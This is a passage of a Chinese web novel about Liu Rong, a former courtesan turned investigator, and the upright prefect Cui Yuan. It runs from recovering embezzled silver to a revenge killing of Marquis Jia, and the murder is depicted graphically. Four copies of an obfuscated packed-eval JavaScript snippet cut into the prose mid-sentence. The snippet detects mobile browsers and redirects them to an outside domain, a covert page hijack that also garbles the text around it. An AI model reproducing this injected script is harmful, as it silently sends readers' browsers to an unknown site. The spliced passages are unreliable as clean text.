柳茸不生气，因为犯不着生气，李员外的话或许连挠痒痒也算不上，旁人眼中再大的屈难，于她不过毛毛细雨。 受了多年的鄙夷与指摘，她的心已对此此掀不起一丝波澜。 红花佩服，不愧是成大事者，“换作我，他的手指早没了。” 佩服过后又掺着后知后觉的怜惜，红花打量着眼前的女子，身形秀长，长得也是一朵红花，居然有人忍心口出恶言？ “阿茸，是不是很少有人对你对说好话？” 柳茸略微困惑地嗯了声。 “没关系，以后我说给你听，再不济，让阿脏也多说给你听。” “他？” “对啊，他不是你们的父母官吗？不是最喜欢说民为什么什么本吗？正好，他践行道理的时刻到了。” 柳茸蓦然轻笑，“这不一样。” “哪不一样？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763444|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他若连一个姑娘的心也逗不乐、说好话的本事也没有，能有什么能力当官？” 柳茸笑出声，红花没觉着哪说错了，“真的，菩萨都要日行一善呢，他不是信吗，这不算日行一善？好话说说又死不了人，还救人，功德比他烧一百柱香都大。” 说着，红花想到李员外，搜家的人在他府上帑银没发现，发现了一堆金塑的佛像，满天神佛挨个拜。 她可不觉得神佛会庇佑此人，“菩萨见了他剁他手还来不及。” 柳茸笑了，“你可千万别把他的手指剁了，我留着有用。” “知道，我们已经跟着他了。” 搜酒窖不过是障眼法，柳茸要得就是打草惊蛇，不一会儿果真有人传信，报李员外今夜去了城郊外宅。 传信之人是李员外养在外宅的外室，但今夜，外室将他卖了。 外宅附近的李氏祖坟里，李员外和几名族人灰头土脸从坟堆里背着金银钻出，半路拦截的崔府府兵将之一网打尽。 “你怎么确定李员外的外室会帮你？”红花问。 柳茸点着唇，“我叫李员外府上的家伎朝她递过话。” “那些家伎听你的？” “因为我知道她们最恨谁。” 红花听不懂，不过她还有疑问，柳茸如何就确定帑银被李员外藏在外宅？ 不怕扑一场空？ 柳茸当然知晓，毕竟自己倒下的那场饥荒里，崔元已死，益州的土皇帝们再不用避忌，天时地利人和下，一改藏头露尾的胆小慎微，大肆抬高粮价，正大光明敛财，争相斗富。 哪怕那时帑银在谁手上已众人皆知也奈何不了，无人敢状告，民不举，官不纠。 红花没想那么多，拿到人就行，“这下你可以向阿脏交差了。” 人证，物证具在，柳茸将人交至官衙，特意叮嘱看好李员外，不要让人死了。 益州不可能只有一个“李员外”，如果自己是他们中的一员，此时想得必是如何灭口被揪出来的人，以免那个看不懂眼色的刺史套出更多机密。 近日府里常薰的四弃香淡了，佛寺香越来越浓。 崔元开始朝寺庙里去，今晨更是天不亮去往了寺庙敬香。 柳茸在官署看见他时才缓缓意识到，这两日府里似乎看不见他的身影，亦或是说，他有意回避。 来到官署后也是，崔元偏开一侧，与自己擦肩，腰上飘带都未曾拂到彼此。 如此也好，自己前两日夜里找他，被他敲了记警钟。 “阿脏！”红花喊了声，崔元回过身，敛神颔首，一眼没多分给柳茸。 “我看他干脆头上点九个戒疤，去深山老林里当修行僧算了。”红花啧啧，一个人的脸怎会那么冷。 身旁的柳茸笑，“崔刺史还是人好的。” 霜白的人影步履不迫地行远，貌似并未听见背后的议论。 李员外被捕，柳茸写了份禀帖禀明抓人的来龙去脉以及在坟里的帑银还需调波人手。 写毕，拿去崔元书房，书房门锁着，人不在，走至崔元卧房，也无人。 柳茸推门，木门纹丝不动。 门被封死了。 12. 妄念 “柳姑娘？”刘管事路过，“大人已经搬走了。” “搬走了？”柳茸微微错愕，并无人来知会自己。 “昨儿搬的，大人如今卧在东厢房，姑娘要老朽带路吗？” 柳茸道了声不必，放缓步履折返书房，将禀帖一头塞入一头外露地卡在门缝里，提裙离去。 几日后，柳茸又往官署里押来一匹被查出贪墨帑银的官吏。 这群人不会知是何处漏了风声，一如他们不会也不屑于知晓家伎们私底也有自己的小圈。 直至沉甸甸的帑银放在眼前。 贪墨的帑银大多已转成首饰、地契，或被吃穿用度掉，但官吏们也知横财难留，给自己留了底，不料成催命符。 将人一一交由府衙收监后，柳茸取出盛着珠玉的匣子，托叱罗红花换了些药材，分送尚在其余官吏宅内的家伎。 “你给药给她们做甚？还有，为何不能告诉阿脏？”红花不解。 “公子是至清之人。”柳茸道。 红花玩着刀，“那不是很好吗？” “他不会容我行此事。” 至清则无鱼，至白则不容尘。 她是个酸辣不忌的，哪个手段管用就用哪个，但崔元不是，清正门庭里磨出的直板一块，自己眼中无伤大雅的手段于他恐是不能接受的赂赠。 柳茸这般想着，合上空了的匣子。 又一个官吏被她带回官署，那官吏抬头看了柳茸良久，面色讶然。 “我、我认出你了，我认出你了……”他抖着嗓子，“你是留春台上的琴姑！” 官署里的人面露怔色，却又无一人敢大声说，有人站出掴了此人一掌。 早在他认出柳茸之前，柳茸强忍着吐的欲望认出了这张面皮——他是杜父极要好的同僚，把酒言欢间互赠歌妓。 前世被赠的，是一个叫柳茸的。 吃了一记掌掴，那人啐掉碎牙，恼极反笑，“苍天真是派了个好官来我益州，好好的刺史府做成勾栏院！让个伎子来当差！” “杨县丞。”柳茸念出他的官职，杨县丞恨恨抬脖，红眼盯着眼前榴红的女子不语。 “县丞羞辱我，我认。”她语调平缓，“我做过什么，当过什么，从没想过隐瞒，我知错，但请不要污蔑大人。” 说完，她含笑瞥了眼古柏下差一步走出来的白色衣角。 垂荡风中的白色衣角在听见自己接话时定住了。 “我是如何进府的，我比谁都清楚。我是用我的双腿，走进去的。” 柳茸转开眼继续俯身，与押在地上的人齐平，绽开一抹笑，“县丞去留春台，是想听奴弹曲吗？” 古柏下枯枝轻响。 突来的旖旎香风透出女子薄肌，隐约带着体温，杨县丞心坠然一荡，忘了要出口的话，片刻拉回神志，“你们听到了吗！你们听到了吗？！” 无一人应和。 只有红花问了句，“你弹琴好听吗？” 柳茸：“略通音律罢了。” “我听听，我一个人弹琵琶无趣死了！”红花道。 杨县丞被带走，莲花池畔，响起泠泠琴音，如洞穴湿雨，淅沥萧然，莲池水波随弦音相映。 柳茸闭着眼，感受着弦丝在指间颤|动。 这是她练了许多年的本领，能靠自己的技艺混饭吃，她很自豪。 但在勾栏院，她碰不到一个欣赏的目光，都是混着酒气炽热迷醉的情欲，仿佛她在做一件极不体面却讨人喜欢的勾引。 可柳茸觉得，乐器就是乐器，不该贴上任何良贱褒贬。 时间久到仿佛空无一物，一曲终，周遭安静着。 柳茸沉浸在音律中等待酒客的喝彩，觉察四下无声，身处留春台上的幻视一扫而空，她睁开眼，见红花拍着刀，“好听。” 而身后古柏下，白衣静谧地将一切尽收眼底。 柳茸把秦琴收好送回琴房，经过游廊下，一堵白墙挡面而来，她颤身退了几步，待定住一看，哪里是白墙。 “公子。” “有事同你说。”他推开一间茶房，泡开一壶茶，茶香席卷，褐黄的茶汤被淋在茶宠上，一圈又一圈。雾气缭绕后，茶盘似一座小山被云岫包围，水液滴声空灵。 “听人说你来找我。”崔元放下茶夹，一折禀帖被他慢慢推至案前，封页的中心有稍许被夹的折痕，“为什么不让管事带你过来？” “府里有变动不会无人告知，若无人告知我，想来是公子必有公子的缘故，又或是不愿柳茸常来，我岂敢擅作叨扰。” 崔元侧着眼，视线边缘是女子乌云般的青髻，挡住她半面眉眼，看不见表情，唯有发间的桂油香扑鼻。 话全说尽了，好不贴心。 那夜她留在指尖残留的余温宛若错觉，崔元听出话中的生疏客套之意，却是呷茶不语。 茶有点涩，他淡漠地灌入喉。 少顷，他翻开禀帖，指尖停留处是被抓的官吏名，“本想同他们斡旋一下，你倒是手段干脆。” “柳茸知错。”她蔻指轻揖，正要认错，一只清曜的手伸来，稳稳扶住她低下的肩。 “够了。”崔元双眉拧着，并不和颜悦色，“不是真心知错就没必要向人认错，我不想受。” 这番话不止是在点她，更是在点方才她对杨县丞说的话。 “想做什么就去做，不必有顾忌，”茶水沸了，崔元侧过脸，提了一下壶盖，“你只剩五日了。” 柳茸心谙，会心一笑，“知道了。” 在退至门边时，他叫住她。 “你对杨县丞说的话……” 柳茸眼尾一狭，柏树底下的果然是个人。 “哪句话？”她笑意猗猗。 一声叹气后，白衣的公子摆手，“没事了，去做事罢。” 城东大慈寺，香火延绵四代，青灯红鱼诵经声远，暮鼓响时，打着降魔坐的金刚像腿边，映出一抹跨入庙的霜白。 “郎君今夜也来上香吗？” “上。”崔元交了香钱，合十敬拜，脑中人声如经纶流转，流转的却不是佛经。 是官署中女子的声音。 她说她做过什么，当过什么，从没想过隐瞒，她知错，但勿污蔑他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763445|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不喜，一如被人架在高台，架在空荡欲坠的天际。她故意的，如若给自己听见最妙，旁人听不出，他却会意话底邀功的含义。 可他听后，丝毫没有快意，只觉泛起一阵阵心酸和郁烦。 怎会有人如此甘愿自作下贱，他抵触，若换作过去的他，定觉此人无可救药。 接触她后才明了，那是她混了多年酿出的一条生存之道，或许也是很多人的生存之道，她也是从别人身上学的。她根本不觉得自己卑如尘土，却要卑如尘土地活下去。 勾栏院习得的手段么竟与庙堂上对着皇帝拍马的官员如出一辙。都在说着违心话，干着违心事，还专挑自己。 若不是叱罗红花，自己无缘得听她琴音。她的琴音，至少比那晚她搭在自己手背上的掌心要有温度地多。 那一晚，他持着贝勒书走到井边念到天翻起鱼肚白，水风幽动，似女子指节轻响。 思来想去，竟觉自己像个杼机，被她刻意牵拉，推远又推近。 她的把戏他洞若观火，却莫名容忍。每次意欲拒绝，初见时她一身榴裙冲撞车马的场景又浮现眼前，车帘有限的视辐外，她眉如墨扫。 心力交驰的脱缰感顺着朱蓝血管蔓延。 “施主有心事。”老禅师双目清癯。 “我救不了人。”崔元的神情稍显挫败，“我救得了她的身，救不了她的心。” 崔元听了数年佛经，说世人皆苦，众生皆苦，大了在田里为一根青绿的麦芽苦得发愁，可她的苦，似乎任何灵丹妙药都无解。 即使到了崔府，柳茸的言行也没改几分，依旧用过去应付那群俗人的手段应付着他，被人和喝花酒的人摆在一列，什么好心情都没了。 禅师笑而不言，念珠转过一轮，“施主动了妄念。” 崔元打把伞，转开月光，径自离去了。 一连几日，他观察着柳茸在官署里抓人的做派，像一个人。为官多年，同僚身上有无旁人的手笔、师从谁人门下，熟了便能蛊出一二。 而他从中那副壳子里，窥见了一个与自己很像的影子。 崔元想不出和自己相似的人有谁？ “她过去除了杜攸之，没有别的客人？”崔元翻着手下带回的留春台账目，上面记着各个伎子接客的记录。 “之前有一个，当夜便死了。”手下指着一行字：点大蜡烛，一千两。 崔元：“点蜡烛？” “就是女子□□，那天得点大红灯笼，故名……” 崔元顷刻制止手下，不想听。眼睛落在墨字后明晃晃的数字上，一千两。 那是一个人，在被明码标价。 “接客的女子……分得到这笔钱么？” 问完没听到应答，见手下难掩尴尬，他明了。 红日初升，崔元下了楼，蜀天如碧，府兵训练的校场里，有一队府兵回府，其中一人是乘着一位女兵的马下来的。 她今日换了身不一样的衣服，不再是榴花裙子，肩上挂着红色的异域披风，沾满晨露，如晶钻点缀，闪着细碎华光。 晨风中，朝阳迎着她的轮廓升起。 13. 暮雨 期限还剩三日。 料理了一圈事，柳茸匍在桌案枕腕小憩，肩背无端一重，暮雨泥芳被若有似无的青禾香掩盖。 宽大的宝蓝披风罩住暮雨带来的湿冷，她从一片沉重中窜出手，一把轻捏住披风上堪堪离去的五指，惺忪恬然地侧过半张颜。 “公子。” “你装睡？”抖开披风的手留在半空。 “三日。”柳茸缱绻屈起指头比划着，“还剩三日，三日之后，公子要给我脱籍。” 她撇开身上披风，盈盈一绕，系到了原主人肩上。 灯照着女子濡鸦色的鬓发。崔元脑中又响起手下的一声“点大蜡烛”，会有一个素未谋面的男人挑开她的盖头，行云覆雨，那一千两，一分也不是她的。 那个男人是什么样的？他忽然很想知道。 一道微渺的期待在心底发芽，那个男人最好什么都没做成，躺下即死，速速升天。 但……怎么可能什么都没做。她如今的一颦一笑，一举一动，像碎成千万片的琉璃镜，不时有一面反光出过往留下的烙印。 头顶投下的目光柳茸不曾留心，更没留意到自己专心系着披风，而披风上那颗脑袋里想的是留春台账册上的几行墨字。 一千两，思及此，崔元想到了流浪时在屠店里被挂着叫卖的人肉，胃里翻江倒海。 “阿茸。” 头顶的人忽然出声，柳茸一吓，仰头等着他接下一句。 “我已名辖下县衙彻查各处花楼，封了六处。” 两道沉水般的目光扫着她的双颊，内敛深缓，试图在秀丽的五官上攫获着细微的神色变化。 须臾，柳茸应了声，“公子行事，自然令人放心。” 待人走后，崔元扶案缓缓落座。 自己在干什么，自己竟然近乎述职请赏般地在向她说事，颇带一丝讨好的恳切。 当她抬眸望来时，暗暗含着的期待破土而出，在期待什么，期待她听后如何回话？或错愕？或赞耀？自己也说不出个所以然来。 虽然此番行事不全然是为柳茸，他意欲清缴本地官僚的靡靡风气有段时日了，但无疑柳茸催速了未提上日程的计划。 再者，冥冥之中似有声在说做的这些事告知于她比较好，他想，她是乐见的。 崔元抽开案下柜格，检查一番后发现多了一封禀帖，应当是柳茸离去前写的，墨迹粘连着。 入夜雨小了，柳茸见到一人穿廊而来，手中怀着禀帖。 “禀帖有些错处，来与你说。”崔元道。 柳茸：“？” 她的禀帖都是偷师他前世学来的，算起来还比如今的他老练几年，她与那时的他磨合久了，最清楚如何下笔挑不出错来，何处有纰漏？ 不过有人不要钱来授业哪有拒绝之理。 想完敞开门，崔元移步案前，正襟端坐，然而只是挑了几处无关痛痒的小毛病，并无太大指摘。倒是明里暗里听出一股隐隐比较之意。 他在忮忌，忮忌禀帖里那个模糊神秘、透过禀帖现身的人，那个与自己七八分相似的人。 柳茸顺着意思改了聊聊几笔，雾水满头，莫非比之几年后，他更满意此时的他？前世在益州公干的几年不进反退了？ 唯有一处，崔元不是挑错。 是窥不透手笔——柳茸算帑银的法子。不是常见的算法，也不像由筹算延伸而来，算得准确无误，连偷瞒的用量也验了出来。 “这法子可是有人教你？”他清透的指尖扣了扣纸页。 “家母。” 他从未听她说过她的家人，旋即想，她被卖入勾栏院前，应当是有家人的。她说过，她没有家了。 “令尊学过算法？” 柳茸顿后一笑，“说来不怕公子笑话，家父和家母大字不识一个，但很会种田，小时候我贪玩，阿爹种田时，阿娘就用捆麦子的绳打结教我数麦子。” 那根绳子是柳茸小时候为数不多的玩伴。 崔元挑眉望了眼，女子静谧安详的面庞，在鲜艳的红荔衣裳衬托下，凝润，美丽，过去的伤痛不留痕迹，看不见影踪。 “令尊令堂是个很聪明的人。”灯火将他的神色烤得柔了些，“你应当很像他们。” “这如何说？” “把女儿生得……”他不继续说了，“什么时辰了？” “亥时二刻了。”柳茸狡黠地敲敲桌，吹灭一盏烛台。 亥时，不熄灯也得熄灯了，府里的主人崔元定的规矩。若是书房定然不设限，但这里是女子闺房。 于礼不合。 崔元道了句失礼，批身入夜色。 禀帖被他重新放入书房柜格，落了锁。 书房的灯又燃了一会儿，挨着禀帖被放入柜格之中的，是一封拟好的脱籍奏表。 这些时日柳茸缉缴的贪墨数额已够得上因功特赦，他不夸大一分，也不少一分，如实上报。 明朝还要陪瓜二种地。 农人很聪明，远比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763446|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃他们粮的佃主聪明，在柳茸身上，他再次印证了这点。 第一次印证是在宗祠学堂的早课上，那时功课最好的是位旁枝的书童，佃农卖掉的孩子。 崔元视之为对手，没过一年书童不来了，说是家里闹饥荒，书童恰好回乡探亲。 不久，他在屠店看到了那只自己心心念念想赢过的手。 田里死了人，他迷上了种田，五谷多长些，人就少死些。 什么佛经什么宝塔也救不了青苗不长的旱田。 他早不信佛了。 其实一开始也没信过，在佛寺长大，拜师佛门，尊师命流浪苦修，只悟出一个道理：天地无佛，天地无神。什么佛陀神明、道门仙风的，不如做官种地来的实在。 只是赞同部分佛理，偶尔会去寺庙里与老僧悟法，通明心眼。 但是今夜，如同过去的数夜，案台的般若心经不再积灰，在他手上来来去去渡了几回，唇齿间翻来覆去念了几遭。 上书一行话：“色不异空，空不异色，色即是空，空即是色。” 念烂了的话。七岁他就学过了。 东方大白，崔元早早将脱籍的请奏书快马送出户部和辖下县衙。 “大人，户部的人带话了，请大人一聚。”刘管事通报。 “这么快？”长安距离益州天遥地远，三日之内不可能收到信。 除非，有人在附近，还是个能收信处理事的人。 “户部的大人说，大人给柳姑娘销籍可以，但是给柳姑娘请封校书，这怕是……”刘管事面露尬色。 说起柳茸，崔元想起今日是第三日，最后一日了。 照理她该交新的禀帖，然而崔元往书阁翻找了一遍，空的。 也没见她踪影。 他一个侧头，白净的神容晦暗，“这几日怎么没见她？” 今日第三日，府内出奇静。 “柳姑娘和叱罗姑娘去办差了。” “你陪着她瞒我，刘叔。”崔元步步逼来。 “不敢……”刘管事很少听他长大后叫刘叔了，这一叫，显得自己胳膊肘外拐。 “她去哪了？” 见瞒不住，刘管事意有所指地望向一家糖铺的方向。 崔元记得那个方向，入伏前柳茸曾那条街险些昏厥， 现在回想起来，她的身子很弱，眼中的波海翻腾却未减分毫，眼神死死勾着一坐建筑。 他记得是一座宅邸，主人姓贾，是个侯爷。 14. 贾府 贾府又死了侍女。 担子悄悄从府邸抬出，白布下是一具满身抓痕的身躯。 柳茸拨着琴弦，静听侯府的管事拿钱打发前来认尸的妇人，隐约听见零碎几句：病死的、入府前便染了脏病。 尸驱上的抓痕因着疫病有了合理的说辞。 但一切与她无关，作为新充入府的侍女“阿容”，她的眼至远只能望到管事姑姑头上的珠翠。 她是“阿容”，府上新来的侍女。 再次踏入这座金笼，朱碧的飞檐翘角像两排碾碎人的利齿，恐惧裹挟着过去的记忆淹没了柳茸。 有那么一刻，腿若冰冻，寸步难行，吸入肺间的风都是疼的。 她强忍着渗入骨血的痉挛，迈开第一步。天地青黑了一瞬，只一瞬，柳茸咬破唇强令自己清醒，指梢开始回暖，如潮汐回落。 成功克服那头名为恐惧的巨兽后，心底竟出奇宁静，待踏出第二步，万念皆无，只剩下凝视目标的平淡从容。 唇破处有血，柳茸当口脂抹开，装饰上一层韬晦乌红。 今日有贵客，侯府外起了动静。 管事疑惑怎么来得这么早，开门，一台眼熟的白马车架摆在府门前。 崔元一如上一世初见时立在贾府檐下。 光影错落，两世身影重叠，分不清时空。 柳茸稍稍愕然，装作没瞧见继续弹琴。 “公子是……” “益州刺史，崔元。” 管事煞白着脸领人进府，忍不住嘟哝，“不是说来的是秘书郎么……” 贾侯爷见到来的是崔元具是一怔，忙请至宴宾台招待。 贾府在前前朝门楣还算显贵，沾点皇亲国戚的边。可惜时移世易，两次改朝换代，皇亲变余孽，最后变庶人。 大梁开国为显本朝宽仁、承袭正统，挑了最不成气候的一支，象征性封了个爵，不予任何实权。 一个没有实权的落魄侯府，平日里做客的多是些文人散客，今日到的却是个官拜从三品刺史的士族子弟，贾侯爷惊异之余心花怒放，命人斟酒。 倒酒的侍女是柳茸。 崔元闭着唇，迟迟未饮。 贾侯爷呵斥着小事都做不好，令柳茸退下反省。 碎步退出醇香满座的宴宾台，柳茸假意去领罚，半路一拐，熟门熟路摸到了贾侯爷的书楼。 书案底下一番好找，柳茸摁到一处不起眼的暗格，正要探入，五根手指把住她的手腕。 崔元将人拉到僻静处，确保周遭无人才道；“你到底想做什么？” “之前私藏帑银的官宅中翻出了运输赃物的证据，公子猜上面写着是谁给益州各路县官当的这个镖师？” 柳茸说罢看了眼朱红碧绿的屋檐。 崔元没有放开她手的意思，“若贾侯与贪墨案有染，要缉拿可直接带兵抄围。” 可是柳茸走了最不稳妥的一条路。 他的眸底微冷，“你潜入他府中是为了什么？” “千金之子，不死于市。”扯谎已经失效，柳茸直明了当，“若仅是缉拿，贾侯不会死。” 扼在自己腕间的手终于松动了。 崔元疑怔片刻，低沉地而幽邃地吐出四个字。 “你要他死？” “我只想给他些教训。至多是让他失去点……东西，再无残害无辜女子的能力。” 柳茸翩然一笑。 “你要他死。”崔元复述了遍，这次是个完完全全不带半点揣测的口吻。 他的眉目凝重下来。 只因他看见了，看见那双眼，露出了与来找自己毛遂自荐那晚、叹着“唯愿早脱乐籍……”那句话时，相同的眼神。 ——那样明艳、灼人、红玉状的眸色，他太熟悉她眼底的后调，是欲望与执着在焚烧。 贾府，大鱼，肉香，她亲自来了。 “回去罢。”崔元闭眸，缓和着过度紧张的眉间。 “回去罢。我已替写好脱籍帖，就算贾府事不成也不影响你脱籍，你不必以身试险。” “我知道。”柳茸凝伫。 “公子，也许最初我要的是脱籍，可当贪墨案牵扯贾侯，我想，我是不是可以再多要些？” “你与贾侯有旧？”崔元从未听过她与贾侯有仇隙，贾侯爷也没有到过岭南。 “不曾。” “私探书楼若被贾侯发现有异，届时排查阖府上下你可知后果？” 柳茸点头，“我叫红花埋伏在了府外，她入夜会来查看我的安危，不会有事的。” 崔元一恍神，笑了，“你用崔氏的府兵干这种事？” “公子是依法理的人。”柳茸略带歉意，“但我不是。” “我日后会回府请罪，依凭你处置，可眼下我若放任他，他会继续害死无数人。” 这样难等一回的好时机，她不想错过。 崔元缓缓摇首，眼中染上痛意，“你说贾侯害人，你找到证据了吗？” “有。”柳茸的犹豫微不可查。 “阿茸，你在说假话。” “他究竟对你做了什么？你说出来，我亲手找出罪证定其罪。” 柳茸苦笑。 怎么说？说是前世结怨？官府卷宗肯接纳如此荒诞不经的说辞？ “你早就定过了。” 崔元不明所以。 柳茸垂下眉，低笑，“公子，你知道吗，等你们官府的人动身真的很难，太难了，许多的姊妹都熬不到你们来的时候。等你们定刑问斩时，受苦之人已死得干净了。” 风中刮过沉默。 要找罪证不容易，时间是磨灭一切的最好帮凶，她知道此事怪不了崔元，前世五子夺位的离乱中，益州能守住一方安稳，与他法度严明、不疑罪重判脱不开干系。 然而事事两刃剑。 没有一宗冤假错案，也即意味着若非十成十的罪证，崔元不会断刑，受苦之人见到曙光之日又要迟一些。 “无凭无据，你不能杀。”崔元想碰她，但在指尖在触及她胳膊前一刻，堪堪收回，“我会派人严查，若他有真杀了人，当即治罪。” “他死不了的，会有人劫狱救他的。” “何人？” “我不知。”这回柳茸说的是实话。 是以她不能错失良机。 “我要他被押入官衙前……”杀了他。 后三个字柳茸没说出口。 错落的脚步声由远及近，二人霎时静了。 侯府管事正领两列侍女盛着酒醴朝宴宾台走去，见偏僻角落里一袭霜白的背影，白衣身后一抹女子衣袖忽隐忽现，当下心领神会。 “大人，”管事压低声，“可需要了事帕？” “不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771039|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。” 崔元寒着面容走出。 再回宴宾台，案上多了一个人，是今日说好造访的秘书郎，戴着青幔做的幂离，整个人罩进一层青蓝里。 贾侯爷张罗着要给二人作介绍，崔元道：“崔某认识的。” “王某也认识的。”幂离里传出带笑意的声音。 柳茸被派上前斟酒，他只取入幂离中饮。 “多谢。”一阵奇异清香。 酒过三巡，贾侯爷见崔元一直盯着为秘书郎斟酒的女子，满身酒气凑近。 崔元蹙眉。 “在下府中家姬如何？”他岁数大，带着过来人的笑拍拍崔元，露出一个看穿诸事的眼神。 “大人看此女，虽说入府不久，但姿容……”贾侯爷口中啧啧。 崔元放下杯盏。 贾侯爷以为他是心动了，笑意更是可意会不可言传。 刚刚管事已报了中途撞见的事，贾侯爷一颗心彻底放进肚子里。 都是男子，任外界传的再清的官，也不能免俗，看来传闻中的崔大人和普通的士族子弟无异，不过是人前做样子，钱财可通，美人可贿。 贾侯借着酒劲抒发上来，“大人若用得满意，在下可转赠大人，聊表心意。” 刺耳的脆响，酒淋到了贾侯爷头上，案上被掀得狼藉满地。 侍女家仆吓得失色。 “明日，我会派人查抄尔府。” 崔元摔杯而去。 “什么狗官！还敢查抄我的府？”入夜，宴席散闭，贾侯爷越想越气，在卧房咒骂。 一会儿如今的后生无礼至极，一会儿博陵崔氏了不起吗云云。 更衣的家仆低头退下，贾侯爷骂到咳嗽，遂坐到榻边缓气，“人都死了？今夜侍候的婢女呢？！” 珠帘声动，琉璃门开了。 是柳茸，半掩着门，“今夜我陪您。” 贾侯爷见美人如玉，又是柳茸，欲|念大起，取出床头铁鞭，“冤有头，债有主，今日就拿你来。” 柳茸脸上流露出莫测的笑：“自然是我，谁教冤有头，债有主呢。” 色迷心窍的老人没功夫管她言下之意，更没功夫注意到，门边守夜人的身躯在软绵绵倒下。 直到刀子长驱直入，脖子一凉，一洌温热的“梅花枝”飞溅床帷。 “侯爷给我跳舞如何？跳得好我就放了侯爷。” 柳茸故意放人匍匐一段距离，他断了嗓子，说不出话，喊不出声，被人重新拽回。 “侯爷，你还记得除了鞭|打你最喜欢什么吗？” “你最喜欢看家伎们跳舞，打趣说谁跳得好了放谁脱贱籍，然后骂我们一个字。” ——“贱。为一点饵就放下颜面，你们，生来伎子的命。” 前世的辱骂嗤笑宛如在耳。 柳茸甩净刀上血，对准心口补下一刀，“贱。” * 崔元闯入卧房时，糜烂的血腥呛入口鼻。 他掩袖走近，看着床榻上安静卧刀的女子。 血溅在她脸颊，她在笑。 他人的血污淌在她脸上，反添一分惊心动魄的凄艳。 很美。 崔元眼中的惊艳落了下去，“来人。” 一队官兵冲入。 他的声音冷如寒冰，“乐伎柳氏，行刺雍熙侯，押下去。”